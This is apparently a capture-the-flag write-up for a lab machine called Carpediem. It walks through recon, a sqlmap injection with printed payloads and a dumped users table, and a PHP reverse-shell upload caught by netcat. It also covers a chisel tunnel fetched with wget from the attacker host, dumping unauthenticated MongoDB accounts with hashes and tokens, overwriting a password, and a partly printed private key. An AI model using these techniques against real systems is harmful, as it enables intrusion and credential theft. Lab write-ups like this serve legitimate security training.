Carpediem

Reconnaissance

As per usual, let us start with an aggressive NMAP scan to see where we can start gathering information from.

sudo nmap -A -p- -T5 -vvv -Pn -n -oN targeted 10.129.93.118
Nmap scan report for 10.129.93.118
Host is up, received user-set (0.048s latency).
Scanned at 2022-06-28 20:52:33 EDT for 267s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:21:76:f7:2d:c5:f0:4e:e0:a8:df:b4:d9:5e:45:26 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCu1cI0YwetA1ogbtnmphJGBauZ9QMAFq5bAB5hXPJHo3juauB1ZE+fr+JYoWzt0dVoWONbGlmVE3t8udy73OQRLePqRcSqEC4PicOCDFwh3elJt0XuGC16nQJ7bu2++vWEdJb22erkKomy/qiUsDFBg/D+lUQkVo97JxJ9WarEzYVi21cOjcKIDqpXVQMjSuqsXZLSEz34uLnhZs1L7DeeT9V5H1B45Ev59N3VTQAM0bt6MOTfTqOfVQdzlYFl5VLWlZg3UkhZWQ6+Y4jeWKvSp6qviEfgHcaslUTO3WCMs/tYHIdAcxEE4XoCHfLaxHgI9s8hBWyma3ERw3aAX1iqv0UjnaGBSgd6Gght6m+FE8OlqhpUJllFeI31Sbs2aI8O/foxJ3QJcrAiM1ws0ZG7fJ/5vzEB0k1+T1tU9DfX4kgpiWL+reny+4s1bIKNo3OydiCCFBwe1DVOcqWyBz1TZp+ySPG6Pbw11+ZM15oeHeBK8rvVBep+wVJBB8aQ65k=
|   256 b1:6d:e3:fa:da:10:b9:7b:9e:57:53:5c:5b:b7:60:06 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDdWYORigZRc9jSYZXZoTVpmvPD3h0bFyZ7rIPxq+IbykLHWRUFr4sClke/0p+B54VI5PfJOe9nFDjkHfygPfa8=
|   256 6a:16:96:d8:05:29:d5:90:bf:6b:2a:09:32:dc:36:4f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMyrIUnr3oGuEz3jkFdLlCXtY3qcUXoJ1cOL1arYAxBM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Comming Soon
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)

Doesn't look like there will be much externally, looks like we will have to start with web exploitation to get initial foothold.

From what we know right now, it is a linux machine (ttl close to 64) probably running Ubuntu Focal (as per launchpad) and the root directory of port 80 hints to a domain name "carpediem.htb", so there may be some virtual hosting going on. Let us now move onto the scanning part to check it.

Scanning

There is no interesting directory in the base domain, however, we can see there is one more subdomain with gobuster.
gobuster vhost -u "http://carpediem.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 64
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://carpediem.htb
[+] Method:       GET
[+] Threads:      64
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/06/28 21:07:33 Starting gobuster in VHOST enumeration mode
===============================================================
Found: portal.carpediem.htb (Status: 200) [Size: 31090]
                                                       
===============================================================
2022/06/28 21:07:45 Finished
===============================================================

Adding it to /etc/hosts and navigating to it, we can see there is another web application running which looks like some e-commerce.

After some enumeration, running sqlmap on the url of any item shows that it is vulnerable to union based sqli, so let us dump the database.

sqlmap -u "http://portal.carpediem.htb/?p=view_bike&id=c81e728d9d4c2f636f067f89cc14862c" --dbs --risk 3
       ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.6#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:11:27 /2022-06-28/

[21:11:27] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=10b7f169ad7...1f2184685b'). Do you want to use those [Y/n] 
[21:11:29] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:11:30] [INFO] testing if the target URL content is stable
[21:11:30] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] 
[21:11:37] [INFO] testing if GET parameter 'p' is dynamic
[21:11:37] [INFO] GET parameter 'p' appears to be dynamic
[21:11:37] [WARNING] heuristic (basic) test shows that GET parameter 'p' might not be injectable
[21:11:37] [INFO] testing for SQL injection on GET parameter 'p'
[21:11:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:11:38] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:11:39] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:11:39] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:11:40] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:11:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:11:41] [INFO] testing 'PostgreSQL OR error-based - WHERE or HAVING clause'
[21:11:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[21:11:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[21:11:42] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'
[21:11:42] [INFO] testing 'Generic inline queries'
[21:11:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[21:11:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[21:11:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[21:11:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:11:44] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[21:11:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:11:44] [INFO] testing 'PostgreSQL > 8.1 OR time-based blind'
[21:11:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[21:11:45] [INFO] testing 'Oracle AND time-based blind'
[21:11:45] [INFO] testing 'Oracle OR time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] 
[21:11:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:11:48] [WARNING] GET parameter 'p' does not seem to be injectable
[21:11:48] [INFO] testing if GET parameter 'id' is dynamic
[21:11:48] [INFO] GET parameter 'id' appears to be dynamic
[21:11:48] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[21:11:48] [INFO] testing for SQL injection on GET parameter 'id'
[21:11:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:11:49] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[21:11:50] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) value? [Y/n] 
[21:11:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:11:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[21:11:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[21:11:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[21:11:56] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[21:11:56] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[21:11:56] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[21:11:56] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[21:11:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:11:56] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:11:56] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:11:57] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:11:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[21:11:57] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[21:11:57] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:11:57] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[21:11:57] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[21:11:57] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[21:11:57] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[21:11:57] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[21:11:57] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[21:11:57] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[21:11:57] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[21:11:57] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[21:11:57] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[21:11:57] [INFO] testing 'Generic inline queries'
[21:11:57] [INFO] testing 'MySQL inline queries'
[21:11:57] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[21:11:57] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[21:11:58] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[21:11:58] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[21:11:58] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[21:11:58] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[21:11:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:12:08] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[21:12:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:12:08] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:12:08] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:12:09] [INFO] target URL appears to have 12 columns in query
[21:12:11] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 206 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=view_bike&id=c81e728d9d4c2f636f067f89cc14862c' AND 3451=3451 AND 'TNKn'='TNKn

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=view_bike&id=c81e728d9d4c2f636f067f89cc14862c' AND (SELECT 5895 FROM (SELECT(SLEEP(5)))AQCK) AND 'jXxR'='jXxR

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: p=view_bike&id=-7193' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170626b71,0x6b76634e464d524167726f4a656656434a68747a654b6248776773624b774b59685842617a794473,0x7176787071)-- -
---
[21:12:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 7.4.25, Nginx 1.18.0, PHP
back-end DBMS: MySQL >= 5.0.12
[21:12:14] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] portal

[21:12:14] [INFO] fetched data logged to text files under '/home/max/.local/share/sqlmap/output/portal.carpediem.htb'
And, finally, dumping the whole users table...
┌──(max㉿1337)-[~/carpediem]
└─$ sqlmap -u "http://portal.carpediem.htb/?p=view_bike&id=c81e728d9d4c2f636f067f89cc14862c" -D portal -T users --dump 
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:15:50 /2022-06-28/

[21:15:50] [INFO] resuming back-end DBMS 'mysql' 
[21:15:50] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=8056b2cf577...fd65543db3'). Do you want to use those [Y/n] 
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=view_bike&id=c81e728d9d4c2f636f067f89cc14862c' AND 3451=3451 AND 'TNKn'='TNKn

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=view_bike&id=c81e728d9d4c2f636f067f89cc14862c' AND (SELECT 5895 FROM (SELECT(SLEEP(5)))AQCK) AND 'jXxR'='jXxR

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: p=view_bike&id=-7193' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170626b71,0x6b76634e464d524167726f4a656656434a68747a654b6248776773624b774b59685842617a794473,0x7176787071)-- -
---
[21:15:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 7.4.25, PHP, Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
[21:15:51] [INFO] fetching columns for table 'users' in database 'portal'
[21:15:52] [INFO] fetching entries for table 'users' in database 'portal'
[21:15:52] [INFO] recognized possible password hashes in column 'login_type'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: portal
Table: users
[1 entry]
+----+-----------------------------------+--------+---------+------------------------+----------+----------+----------+-----------+---------------------+------------+----------------------------------+---------------------+
| id | avatar                            | gender | address | contact                | lastname | password | username | firstname | date_added          | last_login | login_type                       | date_updated        |
+----+-----------------------------------+--------+---------+------------------------+----------+----------+----------+-----------+---------------------+------------+----------------------------------+---------------------+
| 1  | uploads/1635793020_HONDA_XADV.png | Male   | blank | jhammond@carpediem.htb | 1        | admin    | blank  | Jeremy    | 2021-01-20 14:02:37 | Hammond    | b723e511b084ab84b44235d82da572f3 | 2022-04-01 23:34:50 |
+----+-----------------------------------+--------+---------+------------------------+----------+----------+----------+-----------+---------------------+------------+----------------------------------+---------------------+

After some trying, I wasn't really able crack the hash nor execute queries on the system. However, it does hint us to the parameters that register could take. As such, we can register a new admin account for us.

Finally, we do have an admin account on the web application, and we can now access the /admin directory.

Let's now move onto the foothold part to try and get our first reverse shell/ssh credentials.

Foothold

After enumerating for a while, I found file upload capabilities under "my account". Intercepting the upload with burp suite and changing it to a php reverse shell(as usual, my goto is this one by Pentestmonkey) seemed to work.

Now we just need to invoke it with curl/navigating to it. Luckily, the web app tells us where it is located, so that makes it pretty comfy.

┌──(max1337)-[~]
└─$ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.16.3] from carpediem.htb [10.129.93.118] 39678
Linux 3c371615b7aa 5.4.0-97-generic #110-Ubuntu SMP Thu Jan 13 18:22:13 UTC 2022 x86_64 GNU/Linux
 01:30:03 up 18:17,  0 users,  load average: 0.56, 0.19, 0.16
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@3c371615b7aa:/$ export TERM=xterm; export SHELL=/bin/bash
export TERM=xterm; export SHELL=/bin/bash
www-data@3c371615b7aa:/$ ^Z
zsh: suspended  nc -lvp 1337
                                                                                                                                                                                                                 
┌──(max1337)-[~]
└─$ stty raw -echo;fg

[1]  + continued  nc -lvp 1337

www-data@3c371615b7aa:/$ stty rows 50 columns 200
www-data@3c371615b7aa:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@3c371615b7aa:/$ hostname -i
172.17.0.6
www-data@3c371615b7aa:/$

Finally we are inside the machine, so let's now try to escalate our privileges, as we won't be able to do much as www-data.

Pivoting

Per the hostname, looks like we are inside a container, and that there are many more including a mysql one inside 172.17.0.4. First thing to do seeing this is to manually enumerate hosts and ports up. For that I used a statically linked nmap binary from here but feel free to use whatever method you like.

www-data@3c371615b7aa:/tmp$ ./nmap -p- 172.17.0.1/24 

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-06-29 01:51 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Host is up (0.00013s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 172.17.0.2
Host is up (0.00036s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
80/tcp  open  http
443/tcp open  https

Nmap scan report for 172.17.0.3
Host is up (0.00034s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE
27017/tcp open  unknown

Nmap scan report for mysql (172.17.0.4)
Host is up (0.00012s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
3306/tcp  open  mysql
33060/tcp open  unknown

Nmap scan report for 172.17.0.5
Host is up (0.00027s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
8118/tcp open  unknown

Nmap scan report for 3c371615b7aa (172.17.0.6)
Host is up (0.00028s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 256 IP addresses (6 hosts up) scanned in 23.03 seconds
www-data@3c371615b7aa:/tmp$

First container I tried was the mysql one (172.17.0.4) as we have root credentials from the environment variables in the current container (use env command), however it looked like a rabbit hole to me as there was no more interesting information than the one we had already dumped with the SQL injection in the portal subdomain. However, the mongodb one (172.17.0.3) does seem interesting, so let us construct a reverse tunnel so we can use forward mongosh data from our machine to the internal container. For this I used chisel, but feel free to use whatever tool.

Attacking machine TTY1
┌──(max1337)-[~/carpediem]
└─$ which chisel                           
/usr/bin/chisel
                                                                                                                                                           
┌──(max1337)-[~/carpediem]
└─$ cp /usr/bin/chisel .                                           
                                                                                                                                                           
┌──(max1337)-[~/carpediem]
└─$ python3 -m http.server 8083
Serving HTTP on 0.0.0.0 port 8083 (http://0.0.0.0:8083/) ...
10.129.93.118 - - [28/Jun/2022 22:07:37] "GET /chisel HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
                                                                                                                                                           
┌──(max1337)-[~/carpediem]
└─$ chisel server -p 12312 --reverse
2022/06/28 22:07:54 server: Reverse tunnelling enabled
2022/06/28 22:07:54 server: Fingerprint mPcIK3hj16qgboMbQfB8AxiaUSOAzTxssa/b2TmaKeE=
2022/06/28 22:07:54 server: Listening on http://0.0.0.0:12312
2022/06/28 22:08:22 server: session#1: tun: proxy#R:27017=>172.17.0.3:27017: Listening
Victim machine
www-data@3c371615b7aa:/tmp$ wget http://10.10.16.3:8083/chisel
--2022-06-29 02:07:37--  http://10.10.16.3:8083/chisel
Connecting to 10.10.16.3:8083... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8750072 (8.3M) [application/octet-stream]
Saving to: ‘chisel’

chisel                                            100%[=============================================================================================================>]   8.34M  3.25MB/s    in 2.6s    

2022-06-29 02:07:39 (3.25 MB/s) - ‘chisel’ saved [8750072/8750072]

www-data@3c371615b7aa:/tmp$ chmod +x chisel
www-data@3c371615b7aa:/tmp$ ./chisel client 10.10.16.3:12312 R:27017:172.17.0.3:27017
2022/06/29 02:08:22 client: Connecting to ws://10.10.16.3:12312
2022/06/29 02:08:22 client: Connected (Latency 38.608294ms)
Attacking machine TTY2
┌──(max1337)-[~/carpediem]
└─$ mongosh       
Current Mongosh Log ID: 62bbb41d8d208277cdfb7f7d
Connecting to:          mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+1.5.0
Using MongoDB:          5.0.6
Using Mongosh:          1.5.0

For mongosh info see: https://docs.mongodb.com/mongodb-shell/

------
   The server generated these startup warnings when booting
   2022-06-28T07:12:49.135+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
   2022-06-28T07:12:53.008+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
------

------
   Enable MongoDB's free cloud-based monitoring service, which will then receive and display
   metrics about your deployment (disk utilization, CPU, operation statistics, etc).
   
   The monitoring data will be available on a MongoDB website with a unique URL accessible to you
   and anyone you share the URL with. MongoDB may use this information to make product
   improvements and to suggest MongoDB products and deployment options to you.
   
   To enable free monitoring, run the following command: db.enableFreeMonitoring()
   To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
------

test> show dbs;
admin    132.00 KiB
config    72.00 KiB
local     88.00 KiB
trudesk    1.07 MiB
test>

Looks like the machine is also running trudesk. After a while I realized it could hint to a subdomain, and so I added it to /etc/hosts and it seemed to work; we are greeted with a login page.

We have control over the database, and passwords are stored in blowfish so unless you have 4 3090s to bruteforce it, it's better to simply change the password. First let's see how the database looks.

test> use trudesk
switched to db trudesk
trudesk> show collections;
accounts
counters
departments
groups
messages
notifications
priorities
role_order
roles
sessions
settings
tags
teams
templates
tickets
tickettypes
trudesk> db.accounts.find()
[
  {
    _id: ObjectId("623c8b20855cc5001a8ba13c"),
    preferences: {
      tourCompleted: false,
      autoRefreshTicketGrid: true,
      openChatWindows: []
    },
    hasL2Auth: false,
    deleted: false,
    username: 'admin',
    password: '$2b$10$imwoLPu0Au8LjNr08GXGy.xk/Exyr9PhKYk1lC/sKAfMFd5i3HrmS',
    fullname: 'Robert Frost',
    email: 'rfrost@carpediem.htb',
    role: ObjectId("623c8b20855cc5001a8ba138"),
    title: 'Sr. Network Engineer',
    accessToken: '22e56ec0b94db029b07365d520213ef6f5d3d2d9',
    __v: 0,
    lastOnline: ISODate("2022-04-07T20:30:32.198Z")
  },
  {
    _id: ObjectId("6243c0be1e0d4d001b0740d4"),
    preferences: {
      tourCompleted: false,
      autoRefreshTicketGrid: true,
      openChatWindows: []
    },
    hasL2Auth: false,
    deleted: false,
    username: 'jhammond',
    email: 'jhammond@carpediem.htb',
    password: '$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq',
    fullname: 'Jeremy Hammond',
    title: 'Sr. Systems Engineer',
    role: ObjectId("623c8b20855cc5001a8ba139"),
    accessToken: 'a0833d9a06187dfd00d553bd235dfe83e957fd98',
    __v: 0,
    lastOnline: ISODate("2022-04-01T23:36:55.940Z")
  },
  {
    _id: ObjectId("6243c28f1e0d4d001b0740d6"),
    preferences: {
      tourCompleted: false,
      autoRefreshTicketGrid: true,
      openChatWindows: []
    },
    hasL2Auth: false,
    deleted: false,
    username: 'jpardella',
    email: 'jpardella@carpediem.htb',
    password: '$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK',
    fullname: 'Joey Pardella',
    title: 'Desktop Support',
    role: ObjectId("623c8b20855cc5001a8ba139"),
    accessToken: '7c0335559073138d82b64ed7b6c3efae427ece85',
    __v: 0,
    lastOnline: ISODate("2022-04-07T20:33:20.918Z")
  },
  {
    _id: ObjectId("6243c3471e0d4d001b0740d7"),
    preferences: {
      tourCompleted: false,
      autoRefreshTicketGrid: true,
      openChatWindows: []
    },
    hasL2Auth: false,
    deleted: false,
    username: 'acooke',
    email: 'acooke@carpediem.htb',
    password: '$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s.',
    fullname: 'Adeanna Cooke',
    title: 'Director - Human Resources',
    role: ObjectId("623c8b20855cc5001a8ba139"),
    accessToken: '9c7ace307a78322f1c09d62aae3815528c3b7547',
    __v: 0,
    lastOnline: ISODate("2022-03-30T14:21:15.212Z")
  },
  {
    _id: ObjectId("6243c69d1acd1559cdb4019b"),
    preferences: {
      tourCompleted: false,
      autoRefreshTicketGrid: true,
      openChatWindows: []
    },
    hasL2Auth: false,
    deleted: false,
    username: 'svc-portal-tickets',
    email: 'tickets@carpediem.htb',
    password: '$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW',
    fullname: 'Portal Tickets',
    title: '',
    role: ObjectId("623c8b20855cc5001a8ba13a"),
    accessToken: 'f8691bd2d8d613ec89337b5cd5a98554f8fffcc4',
    __v: 0,
    lastOnline: ISODate("2022-03-30T13:50:02.824Z")
  }
]

Didn't know which user to impersonate, so I went for the Support worker "jpardella" with the new password "TestVar123".

trudesk> db.getCollection("accounts").update({_id: ObjectId("6243c28f1e0d4d001b0740d6")},{$set: {"password":"$2b$10$wHv82Hw5hEzhJC4RrodxK.0TAwx7qz.JiuIzUKa/SzTgj6ayeOe0S"}})
DeprecationWarning: Collection.update() is deprecated. Use updateOne, updateMany, or bulkWrite.
{
  acknowledged: true,
  insertedId: null,
  matchedCount: 1,
  modifiedCount: 1,
  upsertedCount: 0
}
trudesk>

And that allowed me to login and read their tickets. The one that stood up the most to me was this one.

Had no idea what Zoiper was before doing the machine, so had to read on it a bit. Installing it is straightforward, and we have a username "hflaccus", a pin "2022", an ID "9650" and a domain name carpediem.htb, so we can login and call the number to get our credentials.

Once in, we can just dial *62 and input our pin code again and we will get an audio telling us our SSH credentials in the main machine. Note that we already had the user from before "hflaccus".

┌──(max1337)-[~/Downloads]
└─$ ssh hflaccus@carpediem.htb                                 
hflaccus@carpediem.htbs password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-97-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 29 Jun 2022 02:35:29 AM UTC

  System load:              0.03
  Usage of /:               73.9% of 9.46GB
  Memory usage:             34%
  Swap usage:               0%
  Processes:                205
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for eth0:    10.129.93.118
  IPv6 address for eth0:    dead:beef::250:56ff:fe96:606a


10 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

hflaccus@carpediem:~$ ls
user.txt
hflaccus@carpediem:~$ cat user.txt
{redacted}
hflaccus@carpediem:~$ id
uid=1000(hflaccus) gid=1000(hflaccus) groups=1000(hflaccus)
hflaccus@carpediem:~$ hostname -i
127.0.1.1

Finally we have the user flag, now let's move onto root.

Linpeas shows an RSA key for yet another subdomain.

hflaccus@carpediem:~$ cat /etc/ssl/certs/backdrop.carpediem.htb.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA6yzfQmcTXRjm+CoRdliZE/6QdE86drkJEmyKckRsH3lmsyxv
1aGRxQBnqMDzlwpQbeNr05Z83oEv+WUQm3sHmGbKnknifW91ZsOxkAdjprJKTCM+
+mWnK0lqcUxPyf/tnhyGCBlXmEZgygfpyeNbePsbKSlOiwRC7thJp9CK5g4DXpxt
N4JVJL9SSlp0NfUh/aYHWQlTB+urITpdvJWhp3cZmkZakfpeFpiuwWXPr8uXARli
4Z/rjCcz3xC4pA0eshZS+V7E1I5Bh0MP1t116p4P28S0TzCrQNF/XSe+Z1x+xlBK
YBqnW4EqWp7bgcJcH5vHQjY4QhWfXDBb/16JpQIDAQABAoIBABFr/pIVvrp72Mhz
nV2ODLENf7gOEn+vD3v87Hiwlu3x+Wi2lwZVdM4KTKOUv7blvbWWTmubT17QZTRt
h0Btac+hdcsqIAw40JKvVp0b3wb/WD+xsL2uACdVxfvkslh9jCXVaRx6fCG8vPja
gzhAjos01vtCox3rT+YPwc0bxt5p8Pyjgak+v/rwyIhcPVgmpP3L0M9QPlvnShxw
